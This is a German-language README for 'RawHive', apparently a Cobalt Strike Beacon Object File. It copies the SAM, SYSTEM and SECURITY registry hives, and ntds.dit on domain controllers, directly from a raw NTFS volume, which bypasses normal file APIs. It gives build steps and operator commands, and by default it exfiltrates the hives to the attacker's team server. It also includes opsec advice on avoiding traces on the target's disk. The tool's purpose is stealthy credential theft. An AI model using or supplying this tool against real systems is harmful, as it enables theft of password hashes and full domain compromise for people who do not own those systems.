
Cobalt Strike BOF, der ausgewählte Windows-Registry-Hives direkt aus einem rohen NTFS-Volume extrahiert, indem NTFS-Metadaten geparst und Dateidaten direkt von der Festplatte gelesen werden.
RawHive ist ein Cobalt Strike BOF zum Auslesen ausgewählter Windows-Registry-Hives direkt von einem rohen NTFS-Volume. Es umgeht die normalen Datei-APIs, durchläuft NTFS-Metadaten, um die Ziel-Dateieinträge zu finden, und liest die Bytes direkt von der Festplatte.
Ziele:
C:\Windows\System32\config\SAMC:\Windows\System32\config\SYSTEMC:\Windows\System32\config\SECURITYC:\Windows\NTDS\ntds.dit (nur Domänencontroller)Jeder lokale NTFS-Laufwerksbuchstabe funktioniert; der Standard ist C:.
\\.\C:) und liest den Bootsektor, um $MFT zu lokalisieren.Windows, System32, config und die Zieldateien, mit einem begrenzten MFT-Scan als Fallback.x86_64-w64-mingw32-gcc und make zum Bauen.make
Baut dist/rawhive.x64.o. rawhive.cna lädt das Objekt aus dist/, daher nach Änderungen an rawhive.c neu bauen.
Der Download-Modus ist der Standard: Hives werden direkt vom rohen Volume gelesen und über die BeaconDownload-API an den Teamserver übertragen. Nichts berührt die Festplatte des Ziels.
rawhive # download C: hives to team server
rawhive D # download D: hives to team server
Der Disk-Write-Modus speichert .tmp-Dateien in einem Verzeichnis auf dem Ziel. Beachte, dass dies die Festplatte berührt und möglicherweise nicht opsec-sicher ist; bevorzuge den Download-Modus, es sei denn, du benötigst die Dateien speziell lokal.
rawhive C:\Windows\Temp # write C: hives to disk
rawhive C:\Windows\Temp D # write D: hives to C:\Windows\Temp
Das Volume kann als C, c oder C: geschrieben werden. Das Ausgabeverzeichnis muss bereits existieren.
Dateien werden als <host>_<timestamp>_<hive>.tmp benannt:
<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp # DCs only
Im Download-Modus erscheinen sie im Download-Tray von Cobalt Strike; im Disk-Write-Modus landen sie im angegebenen Ausgabeverzeichnis.
